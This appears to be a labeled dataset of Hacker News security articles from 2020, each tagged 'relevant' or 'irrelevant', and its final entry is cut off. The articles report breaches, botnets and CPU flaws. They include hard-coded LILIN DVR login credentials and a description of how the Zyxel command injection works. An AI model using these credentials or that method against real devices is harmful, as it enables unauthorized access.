"Hackers Created Thousands of Coronavirus (COVID-19) Related Sites As Bait As the world comes to grips with the coronavirus pandemic, the situation has proven to be a blessing in disguise for threat actors, who've taken advantage of the opportunity to target victims with scams or malware campaigns. Now, according to a new report published by Check Point Research today and shared with The Hacker News, hackers are exploiting the COVID-19 outbreak to spread their own infections, including registering malicious Coronavirus-related domains and selling discounted off-the-shelf malware in the dark web. ""Special offers by different hackers promoting their 'goods' — usually malicious malware or exploit tools — are being sold over the darknet under special offers with 'COVID19' or 'coronavirus' as discount codes, targeting wannabe cyber-attackers,"" the cybersecurity firm said. COVID-19 Discounts: Exploit Tools for Sale The report comes following an uptick in the number of malicious coronavirus-related domains that have been registered since the start of January. coronavirus malware domains ""In the past three weeks alone (since the end of February 2020), we have noticed a huge increase in the number of domains registered — the average number of new domains is almost 10 times more than the average number found in previous weeks,"" the researchers said. ""0.8 percent of these domains were found to be malicious (93 websites), and another 19 percent were found to be suspicious (more than 2,200 websites)."" Some of the tools available for purchase at a discounted price include ""WinDefender bypass"" and ""Build to bypass email and chrome security."" malware attack Another hacking group, which goes by the moniker ""SSHacker,"" is offering the service of hacking into Facebook account for a 15 percent discount with ""COVID-19"" promo code. What's more, a seller that goes by the name of ""True Mac"" is selling a 2019 MacBook Air model for a mere $390 as a ""corona special offer."" It goes without saying the offer is a scam. A Long List of Coronavirus-Themed Attacks The latest development adds to a long list of cyberattacks against hospitals and testing centers, phishing campaigns that distribute malware such as AZORuIt, Emotet, Nanocore RAT and TrickBot via malicious links and attachments, and execute malware and ransomware attacks that aim to profit off the global health concern. APT36, a Pakistani state-sponsored threat actor that targets the defense, embassies, and the government of India, was found running a spear-phishing campaign using Coronavirus-themed document baits that masqueraded as health advisories to deploy the Crimson Remote Administration Tool (RAT) onto target systems. Researchers from security firm IssueMakersLab uncovered a malware campaign launched by North Korean hackers that used boobytrapped documents detailing South Korea's response to the COVID-19 epidemic as a lure to drop BabyShark malware. Recorded Future observed, ""at least three cases where reference to COVID-19 has been leveraged by possible nation-state actors."" A COVID-19-themed malspam campaign targeted the manufacturing, industrial, finance, transportation, pharmaceutical, and cosmetic industries via Microsoft Word documents that exploits a two-and-a-half-year-old Microsoft Office bug in Equation Editor to install AZORult malware. The AZORult info stealer has also been distributed using a fraudulent version of the Johns Hopkins Coronavirus Map in the form of a malicious executable. A fake real-time coronavirus tracking Android app, called ""COVID19 Tracker,"" was found to abuse user permissions to change the phone's lock screen password and install CovidLock ransomware in return for a $100 bitcoin ransom. Another phishing attack, uncovered by Abnormal Security, targeted students and university staff with bogus emails in a bid to steal their Office 365 credentials by redirecting unsuspecting victims to a fake Office 365 login page. Comment spamming attacks on websites that contained links to a seemingly innocuous coronavirus information website but redirected users to dubious drug-selling businesses. Aside from malware-laden spam emails, F-Secure researchers have observed a new spam campaign that aims to capitalize on the widespread mask shortage to trick recipients into paying for masks, only to send them nothing. Staying Secure in the Time of COVID-19 It's amply clear that these attacks exploit coronavirus fears and people's hunger for information about the outbreak. Given the impact on the security of businesses and individuals alike, it's essential to avoid falling victim to online scams and practice good digital hygiene: Businesses should ensure that secure remote access technologies are in place and configured correctly, including the use of multi-factor authentication, so that employees can conduct business just as securely from home. Individuals should keep away from using unauthorized personal devices for work, and ensure ""personal devices will need to have the same level of security as a company-owned device, and you will also need to consider the privacy implications of employee-owned devices connecting to a business network."" Watch out for emails and files received from unknown senders. Most importantly, check a sender's email address for authenticity, don't open unknown attachments or click on suspicious links, and avoid emails that ask them to share sensitive data such as account passwords or bank information. Use trusted sources, such as legitimate government websites — for up-to-date, fact-based information about COVID-19.",irrelevant
"Multiple DDoS Botnets Exploited 0-Day Flaws in LILIN DVR Surveillance Systems Multiple zero-day vulnerabilities in digital video recorders (DVRs) for surveillance systems manufactured by Taiwan-based LILIN have been exploited by botnet operators to infect and co-opt vulnerable devices into a family of denial-of-service bots. The findings come from Chinese security firm Qihoo 360's Netlab team, who say different attack groups have been using LILIN DVR zero-day vulnerabilities to spread Chalubo, FBot, and Moobot botnets at least since August 30, 2019. Netlab researchers said they reached out to LILIN on January 19, 2020, although it wasn't until a month later the vendor released a firmware update (2.0b60_20200207) addressing the vulnerabilities. The development comes as IoT devices are increasingly being used as an attack surface to launch DDoS attacks and as proxies to engage in various forms of cybercrime. What Are the LILIN Zero-Days About? The flaw in itself concerns a chain of vulnerabilities that make use of hard-coded login credentials (root/icatch99 and report/8Jg0SR8K50), potentially granting an attacker the ability to modify a DVR's configuration file and inject backdoor commands when the FTP or NTP server configurations are synchronized. malware attack In a separate scenario, the researchers found that the process responsible for NTP time synchronization (NTPUpdate) doesn't check for special characters in the server passed as input, thus making it possible for attackers to inject and run system commands. The newly patched version addresses the flaws by validating the hostname so as to prevent command execution. Enforce Strong Passwords Netlab said the operators behind Chalubo botnet were the first to exploit the NTPUpdate vulnerability to hijack LILIN DVRs last August. Subsequently, FBot botnet was found using the FTP / NTP flaws earlier this January. Two weeks later, Moobot began spreading through the LILIN 0-day FTP vulnerability. The researchers said they reached out to LILIN twice, first after the FBot attacks, and then a second time after the Moobot infections happened. Although Netlab didn't go into specifics of the motives behind the infections, it wouldn't be surprising if they were used by threat actors to perform distributed denial-of-service (DDoS) attacks on websites and DNS services. ""LILIN users should check and update their device firmwares in a timely fashion, and strong login credentials for the device should be enforced,"" Netlab researchers said.",relevant
"Hackers Compromise T-Mobile Employee' Email Accounts and Steal User' Data If you are a T-Mobile customer, this news may concern you. US-based telecom giant T-Mobile has suffered yet another data breach incident that recently exposed personal and accounts information of both its employees and customers to unknown hackers. What happened? In a breach notification posted on its website, T-Mobile today said its cybersecurity team recently discovered a sophisticated cyberattack against the email accounts of some of its employees that resulted in unauthorized access to the sensitive information contained in it, including details for its customers and other employees. Although the telecom company did not disclose how the breach happened, when it happened, and exactly how many employees and users were affected, it did confirm that the leaked information on its users doesn't contain financial information like credit card and Social Security numbers. What type of information was accessed? The exposed data of an undisclosed number of affected users include their: names, phone numbers, account numbers, rate plans and features, and billing information. What is T-Mobile now doing? The company took necessary steps to shut down the unauthorized access upon discovery and immediately notified law enforcement of the security breach incident. T-Mobile also immediately launched a forensic investigation to determine the extent of the breach incident, a report of which is expected to be released soon.. ""We regret that this incident occurred. We take the security of your information very seriously, and while we have a number of safeguards in place to protect customer information from unauthorized access, we are also always working to further enhance security so we can stay ahead of this type of activity,"" the company said. The company is notifying affected customers of the breach incident. What should you do now? Though T-Mobile said it does not have any evidence of the stolen information being used to commit fraud or otherwise misused, it still advises users to change PIN/passcode to access their accounts as a precaution. Affected customers should also be suspicious of phishing emails, which are usually the next step of cybercriminals in an attempt to trick users into giving away their passwords and credit card information. Although the T-Mobile data breach incident did not expose any financial information of affected customers, it is always a good idea to be vigilant and keep a close eye on your bank and payment card statements for any unusual activity and report to the bank if you find any. The incident comes in less than six months after the telecom giant suffered a significant data breach that exposed the personal information of some of the customers using its prepaid services. In August 2018, the company also disclosed a data breach that affected roughly two million customers.",irrelevant
"LVI Attacks: New Intel CPU Vulnerability Puts Data Centers At Risk It appears there is no end in sight to the hardware level security vulnerabilities in Intel processors, as well as to the endless 'performance killing' patches that resolve them. Modern Intel CPUs have now been found vulnerable to a new attack that involves reversely exploiting Meltdown-type data leak vulnerabilities to bypass existing defenses, two separate teams of researchers told The Hacker News. Tracked as CVE-2020-0551, dubbed ""Load Value Injection in the Line Fill Buffers"" or LVI-LFB for short, the new speculative-execution attack could let a less privileged attacker steal sensitive information—encryption keys or passwords—from the protected memory and subsequently, take significant control over a targeted system. According to experts at Bitdefender and academic researchers from a couple of universities, the new attack is particularly devastating in multi-tenant environments such as enterprise workstations or cloud servers in the datacenter. And, that's because a less-privileged rouge tenant could exploit this issue to leak sensitive information from a more privileged user or from a different virtualized environment on top of the hypervisor. Intel CPUs 'Load Value Injection' Vulnerability Unlike previously disclosed Intel chipset vulnerabilities—including Meltdown, Spectre, and MDS—where an attacker speculatively accesses the memory or sniffs the data when the victim accesses it, the new LVI-LFB attack involves attacker injecting malicious data into the buffers that victim program unwillingly uses during the speculative execution. ""The attacker sprays the LFBs with the address of a malicious function, and when the victim issues an indirect branch through memory which requires a microcode assist, the address of the malicious function is loaded from the LFBs, thus leading to the attacker function being speculatively executed,"" Bitdefender researchers told The Hacker News. Though the latest flaw is a new variant of MDS attacks, it can't be mitigated with existing patches for previously disclosed Meltdown, Foreshadow, ZombieLoad, RIDL, or Fallout speculative-execution attacks. ""It combines Spectre-style code gadgets in the victim application with Meltdown-type illegal data flow from faulting or assisted memory load instructions to bypass existing defenses and inject attacker-controlled data into a victim's transient execution,"" the researcher Jo Van Bulck and his team said in a detailed paper. intel processor load value injection vulnerability As illustrated in the image above, the LVI attack can be executed in 4 simple steps: Poison a hidden processor buffer with attacker values, Induce faulting or assisted load in the victim program, The attacker's value is transiently injected into code gadgets following the faulting load in the victim program, Side channels may leave secret-dependent traces before the processor detects the mistake and rolls back all operations. In other words, when the victim actively tries to execute some code, the attacker can actively fill the MDS buffers with carefully chosen values to influence the execution of the victim's thread. PoC Exploit Demo and Security Patches According to the researchers, there are several possible scenarios to exploit the LVI-LFB based control flow hijacking attack, such as: influencing an address that is accessed, the offset within an accessed buffer, the result of a conditional branch, or affecting the destination of an indirect branch. ""LVI based control flow hijacking allows an attacker to trick the victim into speculatively executing a function of his choosing. This works, theoretically, across all security boundaries: process to process, user-mode to kernel-mode, guest-mode to root-mode, and perhaps even user-mode to enclave,"" Bitdefender researchers said. Both teams of researchers have also developed proof-of-concept exploits, one of which could let attackers compromise the security of Intel SGX enclaves is now available on GitHub. Though researchers haven't tested AMD or ARM processors, they hinted ""in principle, any processor that is vulnerable to Meltdown-type data leakage would also be vulnerable to LVI-style data injection."" Jo Van Bulck led team reported this flaw to the Intel team almost a year ago, whereas Bitdefender reported it just last month immediately after discovering it independently. Intel has acknowledged these findings and today released a list of all affected products on its website along with the information on microcode security patch updates. However, since the hardware flaws cannot be eradicated with software patches and flushing affected buffers are no longer sufficient, researchers suggest affected users to either disable rich performance features like hyper-threading, or replace the hardware to completely avoid such vulnerabilities.",relevant
"Marriott Suffers Second Breach Exposing Data of 5.2 Million Hotel Guests International hotel chain Marriott today disclosed a data breach impacting nearly 5.2 million hotel guests, making it the second security incident to hit the company in recent years. ""At the end of February 2020, we identified that an unexpected amount of guest information may have been accessed using the login credentials of two employees at a franchise property,"" Marriott said in a statement. ""We believe this activity started in mid-January 2020. Upon discovery, we confirmed that the login credentials were disabled, immediately began an investigation, implemented heightened monitoring, and arranged resources to inform and assist guests."" The incident exposed guests' personal information such as contact details (name, mailing address, email address, and phone number), loyalty account information (account number and points balance), and additional information such as company, gender, dates of births, room preferences, and language preferences. The hospitality giant said an investigation into the breach was ongoing, but said there was no evidence that Marriott Bonvoy account passwords or PINs, payment card information, passport information, national IDs, or driver's license numbers were compromised. Marriott has also set up a self-service online portal for guests to check whether their personal details were involved in the breach, and what categories of information were exposed. In addition, it's offering affected users an option to enroll in IdentityWorks, a personal information monitoring service, free of charge for 1 year. The company has already taken the step of disabling the passwords of Marriott Bonvoy members who had their information potentially exposed in the incident, and they will be notified to change their passwords during the next login, as well as prompted to enable multi-factor authentication. The incident follows a 2014 compromise of Starwood Hotels guest reservation database, which was acquired by Marriott in 2016. The breach, which exposed personal details of over 339 million guests globally, wasn't detected until November 2018, leading to it paying a fine of £99 million ($123 million) to the UK's data privacy regulator Information Commissioner's Office under GDPR laws. ""The kinds of information disclosed in the latest Marriott breach might seem innocuous, but it is precisely this kind of intelligence that enables threat actors to better target attacks on consumers,"" Gerrit Lansing, STEALTHbits' Field CTO told The Hacker News via email today. ""Simply: the more I know about you, the better chance I have of fooling you. Compromised credentials remain one of the top vectors for this kind of compromise, and strong authentication before accessing sensitive information one of the best defenses.""",irrelevant
"Critical RCE Bug Affects Millions of OpenWrt-based Network Devices A cybersecurity researcher today disclosed technical details and proof-of-concept of a critical remote code execution vulnerability affecting OpenWrt, a widely used Linux-based operating system for routers, residential gateways, and other embedded devices that route network traffic. Tracked as CVE-2020-7982, the vulnerability resides in the OPKG package manager of OpenWrt that exists in the way it performs integrity checking of downloaded packages using the SHA-256 checksums embedded in the signed repository index. While an 'opkg install' command is invoked on the victim system, the flaw could allow a remote man-in-the-middle attacker in a position to intercept the communication of a targeted device to execute arbitrary code by tricking the system into installing a malicious package or software update without verification. If exploited successfully, a remote attacker could gain complete control over the targeted OpenWrt network device, and subsequently, over the network traffic it manages. The three-year-old vulnerability was discovered earlier this year by Guido Vranken from the ForAllSecure software company, who then reported it responsibly to the OpenWrt development team. In a blog post published today, Vranken explained that when a checksum contains any leading spaces, OPKG on the vulnerable versions of OpenWrt skips checking the integrity of the downloaded package and proceeds to the installation task. openwrt vulnerability ""Due to the fact that opkg on OpenWrt runs as root and has write access to the entire filesystem, arbitrary code could be injected by means of forged .ipk packages with a malicious payload,"" OpenWrt team said. The remote exploitation of this vulnerability is possible due to the fact that integrity in Linux based software installation mechanisms rely on digitally signing files while downloading files over the insecure HTTP connection. Besides this, to exploit the vulnerability, attackers also need to serve a malicious package with the size equals to that specified in the package list on downloads.openwrt.org. According to the project team, OpenWrt versions 18.06.0 to 18.06.6 and 19.07.0, as well as LEDE 17.01.0 to 17.01.7, are affected. ""As a stopgap solution, OpenWRT removed the space in the SHA256sum from the package list shortly after I reported the bug,"" Vranken said. ""However, this is not an adequate long-term solution because an attacker can simply provide an older package list that was signed by the OpenWRT maintainers."" To fix this issue, affected users are advised to upgrade their device firmware to the latest OpenWrt versions 18.06.7 and 19.07.1, which were released last month.",relevant
"Poor Rowhammer Fixes On DDR4 DRAM Chips Re-Enable Bit Flipping Attacks Remember rowhammer vulnerability? A critical issue affecting modern DRAM (dynamic random access memory) chips that could allow attackers to obtain higher kernel privileges on a targeted system by repeatedly accessing memory cells and induce bit flips. To mitigate Rowhammer vulnerability on the latest DDR4 DRAM, many memory chip manufacturers added some defenses under the umbrella term Target Row Refresh (TRR) that refreshes adjacent rows when a victim row is accessed more than a threshold. But it turns out 'Target Row Refresh,' promoted as a silver bullet to mitigate rowhammer attacks, is also insufficient and could let attackers execute new hammering patterns and re-enable the bit-flip attacks on the latest hardware as well. TRRespass: The Rowhammer Fuzzing Tool Tracked as CVE-2020-10255, the newly reported vulnerability was discovered by researchers at VUSec Lab, who today also released 'TRRespass,' an open source black box many-sided RowHammer fuzzing tool that can identify sophisticated hammering patterns to mount real-world attacks. According to the researchers, TRRespass fuzzer repeatedly selects different random rows at various locations in DRAM for hammering and works even when unaware of the implementation of the memory controller or the DRAM chip. What's more? The latest flaw also affects LPDDR4 and LPDDR4X chips embedded on most of the modern smartphones, leaving millions of devices still vulnerable to the RowHammer vulnerability again. RowHammer attack ""We also ported a simplified version of TRRespass to ARM and managed to trigger bit flips on a variety of smartphones such as Google Pixel 3 and Samsung Galaxy S10,"" the researchers said. Target Row Refresh tries to identify possible victim rows by counting the number of adjacent row activations and comparing it against a predefined value, but it still is incapable of keeping the information about all accessed rows at the same time to effectively mitigate bit flips through aggressor rows. ""The known Rowhammer variants use at most two aggressor rows to perform the attack, a small number rows that are being accessed frequently can easily be monitored by TRR. But what if we use more aggressor rows?"" the researchers said in a blog post. ""But having more aggressors overwhelms the TRR mitigation since it can only track a few aggressor rows at a time. 'Luckily' DDR4 chips are more vulnerable, giving us the possibility to reduce the number of accesses to each of the aggressors to trigger bit flips. Or, in other words, to increase the number of aggressors to bypass the mitigation."" Researchers claim they ""tried TRRespass on the three major memory vendors (compromising more than 99% of the market) using 42 DIMMs,"" and found bit flips on 12 of them. VUSec team reported the new RowHammer attacks to all affected parties late last year, but, unfortunately, it is not going to be patched anytime soon. VUSec also promised to soon release an Android app that users can install and use to check whether the memory chip on their smartphones is also vulnerable to the new hammering patterns or not.",relevant
"TrueFire Guitar Tutoring Website Suffers Magecart-style Credit Card Breach Online guitar tutoring website TrueFire has apparently suffered a 'Magecart' style data breach incident that may have potentially led to the exposure of its customers' personal information and payment card information. TrueFire is one of the popular guitar tutoring websites with over 1 million users, where wanna-be-guitarists pay online to access a massive library of over 900 courses and 40,000 video lessons. Though TrueFire hasn't yet publicly disclosed or acknowledged the breach, The Hacker News learned about the incident after a few affected customers posted online details of a notification they received from the company last week. The Hacker News also found a copy of the same 'Notice Of Data Breach' uploaded recently to the website of Montana Department of Justice, specifically on a section where the government shares information on data breaches that also affect Montana residents. Confirming the breach, the notification reveals that an attacker gained unauthorized access to the company's web server somewhere around mid last year and stole payment information of customers that were entered into its website for over five months, between August 3, 2019, and January 14, 2020. ""While we do not store credit card information on our website, it appears that the unauthorized person gained access to the site and could have accessed the data of consumers who made payment card purchases while that data was being entered,"" the breach notification says. ""We cannot state with certainty that your data was specifically accessed; however, you should know that the information that was potentially subject to unauthorized access includes your name, address, payment card account number, card expiration date, and security code,"" the breach notification says. data breach notification While the company didn't explain how the attackers managed to compromise its website or if they had injected a digital credit card skimmer on it, the scenario looks very similar to a Magecart style attack. For those unaware, Magecart hackers typically compromise websites and secretly insert malicious JavaScript code into their checkout pages that silently captures payment information of customers making purchasing on the sites and then sends it to the attacker's remote server. The company discovered this security incident on January 10 and claimed to have now patched the web vulnerability that allowed attackers to compromise its website in the first place. Guitarists who made any online payment at the TrueFire website between last August and this January are advised to block the payment cards used on it and request a new one from their respective financial institution. Other customers are also advised to be vigilant and keep a close eye on their bank and payment card statements for any unusual activity. As a precaution, all users are also encouraged to change passwords for their TrueFire account and for any other online account where they use the same credentials.",irrelevant
"A Massive U.S. Property and Demographic Database Exposes 200 Million Records More than 200 million records containing a wide range of property-related information on US residents were left exposed on a database that was accessible on the web without requiring any password or authentication. The exposed data — a mix of personal and demographic details — included the name, address, email address, age, gender, ethnicity, employment, credit rating, investment preferences, income, net worth, and property information, such as: Market value Property type Mortgage amount, rate, type, and lender Refinance amount, rate, type, and lender Previous owners Year built Number of beds and bathrooms Tax assessment information According to security firm Comparitech, the database, which was hosted on Google Cloud, is said to have been first indexed by search engine BinaryEdge on 26th January and discovered a day later by cybersecurity researcher Bob Diachenko. But after failing to identify the database owner, the server was eventually taken offline more than a month later yesterday. ""We've been trying to contact Googles cloud security team (IP with database was hosted on their cloud) for them to take down the IP but never got a response,"" the research team told The Hacker News. ""No other ways to determine the owner were possible because no reverse DNS records were available due to the cloud-based nature of the IP."" In all, the database comprised of 201,162,598 records, with each entry corresponding to a unique individual. Comparitech noted that during the time it had access to the database, ""it was being updated with new data, suggesting that the information contained is fairly recent."" Furthermore, the leak raises questions about the identity of the service that would need to store such detailed personally identifiable and demographic data of this kind. Spear-phishing Warning Given that the data was not adequately secured, it's not immediately clear if other unauthorized parties accessed this database and downloaded its content. The consequence of such exposure is the increased possibility of targeted spear-phishing attacks. ""The detailed personal, demographic, and property information contained in this data-set is a gold mine for spammers, scammers, and cybercriminals who run phishing campaigns,"" Comparitech said. ""The data allows criminals not only to target specific people but craft a more convincing message."" Specifically, attackers could target individuals with phishing emails to deliver all kinds of malware that can download malicious programs and steal sensitive information. It's therefore crucial that users turn on two-factor authentication to add a second layer of account protection. The incident is not the only time instances of leaky servers have drawn headlines. In recent months, Ecuadorian and Russian citizens, and US government personnel have had their personal info left unprotected on Elasticsearch servers, underscoring that there's still a long way to go when it comes to cloud security.",irrelevant
"Virgin Media Data Leak Exposes Details of 900,000 Customers On the same day yesterday, when the US-based telecom giant T-Mobile admitted a data breach, the UK-based telecommunication provider Virgin Media announced that it has also suffered a data leak incident exposing the personal information of roughly 900,000 customers. What happened? Unlike the T-Mobile data breach that involved a sophisticated cyber attack, Virgin Media said the incident was neither a cyber attack nor the company's database was hacked. Rather the personal details of around 900,000 Virgin Media UK-based customers were exposed after one of its marketing databases was left unsecured on the Internet and accessible to anyone without requiring any authentication. ""The precise situation is that information stored on one of our databases has been accessed without permission. The incident did not occur due to a hack, but as a result of the database being incorrectly configured,"" the company said in a note published on its website on Thursday night. According to the notification, Virgin Media said the exposed database was accidentally left unsecured on the Internet from April 19, 2019—that's almost a year—and was recently accessed by an unauthorized party at least once. What type of information was accessed? The exposed database stored the information (listed below) on both customers and potential customers, including ""fixed-line customers representing approximately 15% of that customer base,"" said Virgin Media CEO Lutz Schüler. customer names, home addresses, email addresses, phone numbers, technical and product information, which includes any requests people may have made using forms on the company's website, and dates of birth 'in a very small number of cases.' ""Please note that this is all of the types of information in the database, but not all of this information may have related to every customer,"" Virgin Media said. The company assured its customers that the misconfigured marketing database did not include affected customers' account passwords or financial information such as credit cards or bank account numbers. However, Schüler said the company doesn't know ""the extent of the access or if any information was actually used."" Who Discovered the Data Leak? The unguarded database was first discovered online by researchers at TurgenSec, who then responsibly reported it to the Virgin Media's security team as per the National Cyber Security Centre (NCSC) cybersecurity guidelines. Though the Virgin Media has surprisingly not publicly acknowledged TurgenSec's findings, the researchers confirmed The Hacker News that the leaked data includes at least 2,324,498 records concerning 900,000 people. ""We cannot speak for the intentions of their communications team but stating to their customers that there was only a breach of ""limited contact information"" is from our perspective understating the matter potentially to the point of being disingenuous,"" TurgenSec said in a statement. According to TurgenSec team, the leaked data also includes affected users': IP addresses, Requests to block or unblock various pornographic, gore and gambling websites, corresponding to full names and addresses, IMEI numbers associated with their stolen phones, Subscriptions to the different aspects of their services, including premium components, Device type owned by the user, The ""referrer"" header collected from the browsers, exposing which previous site users had visited before accessing Virgin Media. What is Virgin Media now doing? The company said the unauthorized access to the database has been shut down immediately following the discovery and that it launched a full independent forensic investigation to determine the extent of the breach incident. The company is also contacting affected customers of security failure and has already notified the Information Commissioner's Office. What affected customers should do now? Affected customers should be suspicious of phishing emails, which are usually the next step of cybercriminals with such data in hands to trick users into giving away further details like their passwords and banking information. ""We urge people to remain cautious before clicking on an unknown link or giving any details to an unverified or unknown party. Online security advice and help on a range of topics are available on our website,"" Virgin Media said. Though the compromised data doesn't include any banking or financial data, it is always a good idea to be vigilant and keep a close eye on your bank and payment card statements and report any unusual activity to your respective bank. For more information regarding the security incident, Virgin Media customers can visit the company's website or call their customer service line on 0345 454 1111.",irrelevant
"COVID-19: Hackers Begin Exploiting Zoom's Overnight Success to Spread Malware As people increasingly work from home and online communication platforms such as Zoom explode in popularity in the wake of coronavirus outbreak, cybercriminals are taking advantage of the spike in usage by registering new fake ""Zoom"" domains and malicious ""Zoom"" executable files in an attempt to trick people into downloading malware on their devices. According to a report published by Check Point and shared with The Hacker News, over 1,700 new ""Zoom"" domains have been registered since the onset of the pandemic, with 25 percent of the domains registered in the past seven days alone. ""We see a sharp rise in the number of 'Zoom' domains being registered, especially in the last week,"" said Omer Dembinsky, Manager of Cyber Research at Check Point. ""The recent, staggering increase means that hackers have taken notice of the work-from-home paradigm shift that COVID-19 has forced, and they see it as an opportunity to deceive, lure, and exploit. Each time you get a Zoom link or document messaged or forwarded to you, I'd take an extra look to make sure it's not a trap."" With over 74,000 customers and 13 million monthly active users, Zoom is one of the most popular cloud-based enterprise communication platforms that offers chat, video and audio conferencing, and options to host webinars and virtual meetings online. The popularity of Zoom has shot up significantly in recent weeks as millions of students, business people, and even government employees across the world are forced to work and socialize from home during the coronavirus pandemic. zoom video conferencing coronavirus The report comes following a significant increase in the number of malicious coronavirus-related domains, with bad actors finding new ways to profit off the global health concern to stage a variety of malware attacks, phishing campaigns, and create scam sites and malicious tracker apps. What's more, the researchers said they detected malicious files with the name ""zoom-us-zoom_##########.exe,"" which when executed, installed potentially unwanted programs (PUPs) such as InstallCore, a dodgy bundleware application that's known to install other kinds of malware. But Zoom is not the only app to be targeted by cybercriminals. With schools turning to online learning platforms to keep students occupied, Check Point researchers said they also discovered phishing sites masquerading as the legitimate Google Classroom (e.g., googloclassroom\.com and googieclassroom\.com) website to trick unwitting users into downloading malware. Zoom Fixes Privacy Issue in Its iOS App Zoom, for its part, has had its share of privacy and security issues too. Last year, the video conferencing app fixed a vulnerability that could let websites hijack users' webcam and ""forcibly"" join them to a Zoom call without their permission. Then earlier this January, the company squashed another bug that could have allowed attackers to guess a meeting ID and join an unprotected meeting, potentially exposing private audio, video, and documents shared throughout the session. Following the disclosure, Zoom introduced default passwords for each meeting that participants need to enter when joining by manually entering the meeting ID. And finally, just over the weekend, Zoom updated its iOS app after it was caught sending device information and a unique advertiser identifier to Facebook using the social network's software development kit (SDKs) and concerns were raised over its failure to disclose the data sharing in its privacy policy. Highlighting some of the privacy risks associated with using Zoom's products, The Electronic Frontier Foundation (EFF) said hosts of Zoom calls can see if participants have the Zoom video window active or not to track if they are paying attention. Administrators can also see the IP address, location data, and device information of each participant. To safeguard yourself from such threats, it's essential that the apps are kept up-to-date, and be on the lookout for emails from unknown senders and lookalike domains that contain spelling errors. Besides this, also don't open unknown attachments or click on promotional links in the emails, the cure for Corona will not arrive via email, and also ensure you're ordering goods from only authentic sources.",irrelevant
"Mukashi: A New Mirai IoT Botnet Variant Targeting Zyxel NAS Devices A new version of the infamous Mirai botnet is exploiting a recently uncovered critical vulnerability in network-attached storage (NAS) devices in an attempt to remotely infect and control vulnerable machines. Called ""Mukashi,"" the new variant of the malware employs brute-force attacks using different combinations of default credentials to log into Zyxel NAS, UTM, ATP, and VPN firewall products to take control of the devices and add them to a network of infected bots that can be used to carry out Distributed Denial of Service (DDoS) attacks. Multiple Zyxel NAS products running firmware versions up to 5.21 are vulnerable to the compromise, Palo Alto Networks' Unit 42 global threat intelligence team said, adding they uncovered the first such exploitation of the flaw in the wild on March 12. Zyxel's Pre-Authentication Command Injection Flaw Mukashi hinges on a pre-authentication command injection vulnerability (tracked as CVE-2020-9054), for which a proof-of-concept was only made publicly available last month. The flaw resides in a ""weblogin.cgi"" program used by the Zyxel devices, thereby potentially allowing attackers to perform remote code execution via command injection. ""The executable weblogin.cgi doesn't properly sanitize the username parameter during authentication. The attacker can use a single quote (') to close the string and a semicolon (;) to concat arbitrary commands to achieve command injection,"" according to Unit 42 researchers. ""Since weblogin.cgi accepts both HTTP GET and POST requests, the attacker can embed the malicious payload in one of these HTTP requests and gain code execution."" Zyxel Mirai IoT Botnet Zyxel issued a patch for the vulnerability last month after it emerged that precise instructions for exploiting the flaw were being sold in underground cybercrime forums for $20,000 for use against targets. But the update doesn't address the flaw on many older unsupported devices. As a workaround, the Taiwan-based networking equipment maker has urged users of those affected models to not leave the products directly exposed to the Internet, and connect them to a security router or firewall for additional protection. Mukashi Targets Zyxel NAS Devices Just like other Mirai variants, Mukashi operates by scanning the Internet for vulnerable IoT devices like routers, NAS devices, security cameras, and digital video recorders (DVRs), looking for potential hosts that are protected only by factory-default credentials or commonly-used passwords to co-opt them into the botnet. If a brute-force login turns out to be successful, Mukashi not only reports the login attempt to a remote attacker-controlled command-and-control (C2) server but also awaits further commands to launch DDoS attacks. Mirai IoT Botnet ""When it's executed, Mukashi prints the message 'Protecting your device from further infections.' to the console,"" Unit42 researchers said. ""The malware then proceeds to change its process name to dvrhelper, suggesting Mukashi may inherit certain traits from its predecessor."" Mirai's History of DDoS attacks The Mirai botnet, since its discovery in 2016, has been linked to a string of large-scale DDoS attacks, including one against DNS service provider Dyn in October 2016, causing major internet platforms and services to remain inaccessible to users in Europe and North America. Since then, numerous variants of Mirai have sprung up, in part due to the availability of its source code on the Internet since 2016. It's recommended that all Zyxel consumers download the firmware update to protect devices from Mukashi hijacks. Updating default credentials with complex login passwords can also go a long way towards preventing such brute-force attacks. The full list of Zyxel products affected by the flaw is available here. You can also test if a Zyxel NAS device is vulnerable here.",relevant
"WARNING: Hackers Install Secret Backdoor on Thousands of Microsoft SQL Servers Cybersecurity researchers today uncovered a sustained malicious campaign dating back to May 2018 that targets Windows machines running MS-SQL servers to deploy backdoors and other kinds of malware, including multi-functional remote access tools (RATs) and cryptominers. Named ""Vollgar"" after the Vollar cryptocurrency it mines and its offensive ""vulgar"" modus operandi, researchers at Guardicore Labs said the attack employs password brute-force to breach Microsoft SQL servers with weak credentials exposed to the Internet. Researchers claim the attackers managed to successfully infect nearly 2,000-3,000 database servers daily over the past few weeks, with potential victims belonging to healthcare, aviation, IT & telecommunications, and higher education sectors across China, India, the US, South Korea, and Turkey. Windows mssql malware hacking Thankfully for those concerned, researchers have also released a script to let sysadmins detect if any of their Windows MS-SQL servers have been compromised with this particular threat. Vollgar Attack Chain: MS-SQL to System Malware The Vollgar attack starts off with brute-force login attempts on MS-SQL servers, which, when successful, allows the interloper to execute a number of configuration changes to run malicious MS-SQL commands and download malware binaries. ""Attackers [also] validate that certain COM classes are available - WbemScripting.SWbemLocator, Microsoft.Jet.OLEDB.4.0 and Windows Script Host Object Model (wshom). These classes support both WMI scripting and command execution through MS-SQL, which will be later used to download the initial malware binary,"" the researchers said. Windows mssql malware hacking Aside from ensuring that cmd.exe and ftp.exe executables have the necessary execute permissions, the operator behind Vollgar also creates new backdoor users to the MS-SQL database as well as on the operating system with elevated privileges. Upon completion of the initial setup, the attack proceeds to create downloader scripts (two VBScripts and one FTP script), which are executed ""a couple of times,"" each time with a different target location on the local file system to avert possible failures. One of the initial payloads, named SQLAGENTIDC.exe or SQLAGENTVDC.exe, first proceeds to kill a long list of processes with the goal of securing the maximum amount of system resources as well as eliminate other threat actors' activity and remove their presence from the infected machine. Furthermore, it acts as a dropper for different RATs and an XMRig-based crypto-miner that mines Monero and an alt-coin called VDS or Vollar. Attack Infrastructure Hosted On Compromised Systems Guardicore said attackers held their entire infrastructure on compromised machines, including its primary command-and-control server located in China, which, ironically, was found compromised by more than one attack group. ""Among the files [on the C&C server] was the MS-SQL attack tool, responsible for scanning IP ranges, brute-forcing the targeted database, and executing commands remotely,"" the cybersecurity firm observed. ""In addition, we found two CNC programs with GUI in Chinese, a tool for modifying files' hash values, a portable HTTP file server (HFS), Serv-U FTP server and a copy of the executable mstsc.exe (Microsoft Terminal Services Client) used to connect to victims over RDP."" Windows mssql malware hacking Once an infected Windows client 